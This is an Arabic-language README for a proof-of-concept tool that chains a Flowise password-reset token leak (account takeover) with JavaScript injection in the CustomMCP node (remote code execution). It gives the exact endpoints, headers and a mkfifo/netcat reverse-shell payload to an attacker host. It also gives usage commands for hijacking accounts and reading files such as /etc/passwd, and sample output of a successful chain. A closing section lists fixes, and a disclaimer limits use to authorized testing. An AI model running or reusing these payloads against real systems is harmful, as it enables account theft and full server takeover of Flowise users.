PoC معياري لـ CVE-2025-58434 (الاستيلاء على الحساب) وCVE-2025-59528 (RCE) في Flowise. يقوم بأتمتة سلسلة الهجوم الكاملة من تسريب الرمز غير المصادق عليه إلى تنفيذ التعليمات البرمجية عن بُعد عبر shell عكسي أو أمر مخصص.
⚠️ للاستخدام التعليمي وبحوث الأمن المصرح بها فقط.
تشغيل هذه الأداة ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها غير قانوني.
يجمع هذا المستودع بين ثغريتين حرجتين في Flowise في أداة PoC واحدة معيارية.
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| النوع | الاستيلاء على الحساب | تنفيذ الأوامر عن بُعد |
| مطلوب مصادقة | لا | نعم (أي حساب صالح) |
| CVSS | 9.8 حرجة | حرجة |
| متأثر | السحابة + المستضافة ذاتيًا | المستضافة ذاتيًا |
تتسلسل الثغريتان طبيعيًا: توفر CVE-2025-58434 الاستيلاء على الحساب دون مصادقة، مما يلبي شرط المصادقة لـ CVE-2025-59528 — وبذلك يتم تحقيق RCE دون مصادقة في تشغيل آلي واحد.
السبب الجذري: تُرجع نقطة النهاية forgot-password رمز إعادة تعيين كلمة المرور (tempToken) مباشرة في نص استجابة HTTP بدلاً من إرساله عبر البريد الإلكتروني فقط.
خطوات الهجوم:
POST /api/v1/account/forgot-password مع أي بريد إلكتروني مسجلtempToken من استجابة JSON — بدون الحاجة للوصول إلى البريد الإلكترونيPOST /api/v1/account/reset-password مع الرمز المسرب → تعيين كلمة مرور جديدةالاستجابة المسربة (مختصرة):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
السبب الجذري: تمرر عقدة CustomMCP بيانات mcpServerConfig التي يقدمها المستخدم مباشرة إلى مُنشئ Function() في JavaScript دون تنقية. وبما أن Flowise يعمل على Node.js، فإن الكود المحقون لديه وصول كامل إلى child_process و fs وجميع الوحدات المضمنة في Node.js.
مسار الكود الضعيف:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← إدخال مستخدم غير منقى
الرؤوس المطلوبة:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
التحميل الافتراضي للـ reverse shell:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
ملاحظة: تستخدم تحميلات الـ reverse shell
cp.exec()(غير متزامن / أطلق وانسى) لذا يعود طلب HTTP فورًا ولا تنتهي مهلة الأداة. تستخدم الأوامر العاديةcp.execSync()وتعيد المخرجات في السطر نفسه.
المهاجم واجهة Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← الرمز مسرب في الرد
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← اكتمل الاستيلاء على الحساب
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← تم استخراج الكوكيز
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() يعمل في الخلفية]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
مستقبل nc الخاص بالمهاجم ←─────────────── الخادم يتصل مرة أخرى
✓ RCE كامل بدون أي بيانات اعتماد
| المكون | الحالة |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | متأثر بـ CVE-2025-58434 |
| Flowise المستضافة ذاتيًا (جميع الإصدارات قبل التصحيح) | متأثر بكلا الثغريتين |
راجع التنبيهات الأمنية الرسمية لـ Flowise للحصول على أرقام الإصدارات المصححة.
flowise-dual-cve-poc/
├── flowise_poc.py # PoC الرئيسي — جميع الوحدات + وضع السلسلة
├── requirements.txt # تبعيات Python
├── README.md # هذا الملف
└── DISCLAIMER.md # الإشعار القانوني الكامل
requestsgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
ليس مطلوبًا أي علامة وضع. إذا قمت بتشغيل البرنامج النصي بدون --chain أو --module، فإنه يعمل تلقائيًا في وضع السلسلة الكاملة. التحميل الافتراضي لـ RCE هو reverse shell — فقط قم بتوفير --lhost و --lport.
# استدعاء بسيط — سلسلة كاملة + reverse shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
ابدأ المستمع قبل التشغيل:
nc -lvnp 4444
python3 flowise_poc.py -h
تشغيل جميع الخطوات الأربع من البداية إلى النهاية: تسريب الرمز → إعادة تعيين كلمة المرور → تسجيل الدخول → RCE.
# Reverse shell (التحميل الافتراضي)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# أمر مخصص بدلاً من reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# كلمة مرور ATO مخصصة + reverse shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
تسريب tempToken وإعادة تعيين كلمة مرور الحساب. يتوقف قبل تسجيل الدخول/RCE.
# كلمة مرور جديدة افتراضية
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# كلمة مرور جديدة مخصصة
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# طباعة استجابة JSON الخام
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
المصادقة واستخراج ملفات تعريف الارتباط الثلاثة للجلسة للاستخدام اليدوي.
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# مخرجات JSON للبرمجة النصية
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
التنفيذ على الخادم. يقوم بتسجيل الدخول تلقائيًا إذا لم يتم توفير --token.
# Reverse shell — تسجيل دخول تلقائي
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# أمر مخصص — تسجيل دخول تلقائي
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# رمز يدوي — reverse shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# جميع ملفات تعريف الارتباط الثلاثة يدويًا
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| العلامة | الوصف |
|---|---|
--chain | السلسلة الكاملة: ATO → تسجيل دخول → RCE |
--module ato | الاستيلاء على الحساب فقط |
--module login | تسجيل الدخول واستخراج الكوكيز فقط |
--module rce | RCE فقط |
| العلامة | الاختصار | الوصف | مطلوب |
|---|---|---|---|
--url | -u | عنوان URL الأساسي لنطاق Flowise | دائمًا |
--email | -e | البريد الإلكتروني الهدف / لتسجيل الدخول | دائمًا |
| العلامة | الاختصار | الوصف | الافتراضي |
|---|---|---|---|
--new-password | -p | كلمة المرور المحددة لحساب الضحية بعد ATO | Flowise@Pwn3d2025! |
| العلامة | الاختصار | الوصف |
|---|---|---|
--login-password | -P | كلمة المرور لوحدة تسجيل الدخول / تسجيل الدخول التلقائي لـ RCE |
--token | — | توفير كوكي token يدويًا (تجاوز تسجيل الدخول) |
--refresh-token | — | توفير كوكي refreshToken يدويًا |
--connect-sid | — | توفير كوكي connect.sid يدويًا |
| العلامة | الاختصار | الوصف | الافتراضي |
|---|---|---|---|
--lhost | — | عنوان IP للمهاجم للـ reverse shell | — |
--lport | — | منفذ المهاجم للـ reverse shell | — |
--command | -c | أمر نظام تشغيل مخصص (يتجاوز revshell) | id إذا لم يتم توفير lhost/lport |
| العلامة | الاختصار | الوصف | الافتراضي |
|---|---|---|---|
--timeout | -t | مهلة HTTP (بالثواني) | 15 |
--json-output | -j | طباعة استجابات JSON الخام | false |
يختار البرنامج النصي تلقائيًا وضع التنفيذ الصحيح:
| السيناريو | التحميل المستخدم | سلوك HTTP |
|---|---|---|
--lhost + --lport (بدون -c) | سطر mkfifo netcat الواحد | cp.exec() — غير متزامن، يعود فورًا |
-c "..." يحتوي على nc/mkfifo/bash -i | يتم اكتشافه كـ revshell | cp.exec() — غير متزامن، يعود فورًا |
-c "id" أو أي أمر عادي آخر | أمر المستخدم | cp.execSync() — محظور، يعيد المخرجات |
بدون -c، بدون --lhost | id | cp.execSync() — محظور، يعيد المخرجات |
التنفيذ غير المتزامن يعني أن طلب HTTP يكتمل فورًا — لا توجد أخطاء مهلة على تحميلات reverse shell.
[الخطوة 1] [CVE-2025-58434] طلب رمز forgot-password ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
بيانات الحساب المسربة
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] ضعيف — تم الكشف عن الرمز دون مصادقة!
[الخطوة 2] [CVE-2025-58434] إعادة تعيين كلمة المرور → Flowise@Pwn3d2025!
[*] HTTP 201
[+] إعادة تعيين كلمة المرور ناجحة (تم مسح tempToken)
[+] اكتمل الاستيلاء على الحساب → [email protected] / Flowise@Pwn3d2025!
[الخطوة 3] [المصادقة] تسجيل الدخول لاستخراج ملفات تعريف الارتباط للجلسة ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
ملفات تعريف الارتباط المستخرجة
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[الخطوة 4] [CVE-2025-59528] تنفيذ RCE عبر CustomMCP ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
نتيجة RCE
────────────────────────────────────────────────────────────────────
الوضع : Reverse Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] تم إطلاق تحميل reverse shell!
[!] في انتظار الاتصال على 10.10.16.35:4444 ...
[!] تأكد من تشغيل المستمع: nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] السلسلة مكتملة
tempToken عبر البريد الإلكتروني المسجل فقط.forgot-password.Function() أو eval() أو vm.runInThisContext().mcpServerConfig كـ بيانات فقط (مثل JSON.parse()) — لا تنفذها أبدًا.| التاريخ | الحدث |
|---|---|
| 2025-08-19 | تم اكتشاف CVE-2025-58434 والإبلاغ عنها |
| غير محدد | تم اكتشاف CVE-2025-59528 والإبلاغ عنها |
| غير محدد | إقرار البائع |
| غير محدد | تم إصدار التصحيح |
| غير محدد | الإفصاح العام |
لـالأغراض التعليمية واختبار الاختراق المصرح به فقط.
راجع DISCLAIMER.md للحصول على الإشعار القانوني الكامل.